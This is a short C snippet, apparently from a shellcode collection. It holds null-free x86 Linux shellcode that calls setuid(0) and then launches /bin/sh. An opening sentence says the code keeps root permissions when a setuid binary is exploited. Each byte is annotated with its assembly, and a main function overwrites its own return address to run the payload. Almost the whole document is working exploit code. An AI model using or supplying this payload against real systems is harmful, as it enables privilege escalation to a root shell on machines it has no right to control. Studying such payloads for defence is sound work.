This code runs setuid(0) before invoking /bin/sh, and should be capable of making sure you don't lose permissions when exploiting a setuid binary.
/*
* Run a shell via asm. No embedded NULL's.
*
*/
char shellcode[] =
// setuid(0);
"\x31\xdb" // xorl %ebx,%ebx
"\x8d\x43\x17" // leal 0x17(%ebx),%eax
"\xcd\x80" // int $0x80
// exec('/bin/sh');
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80"; // int $0x80
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}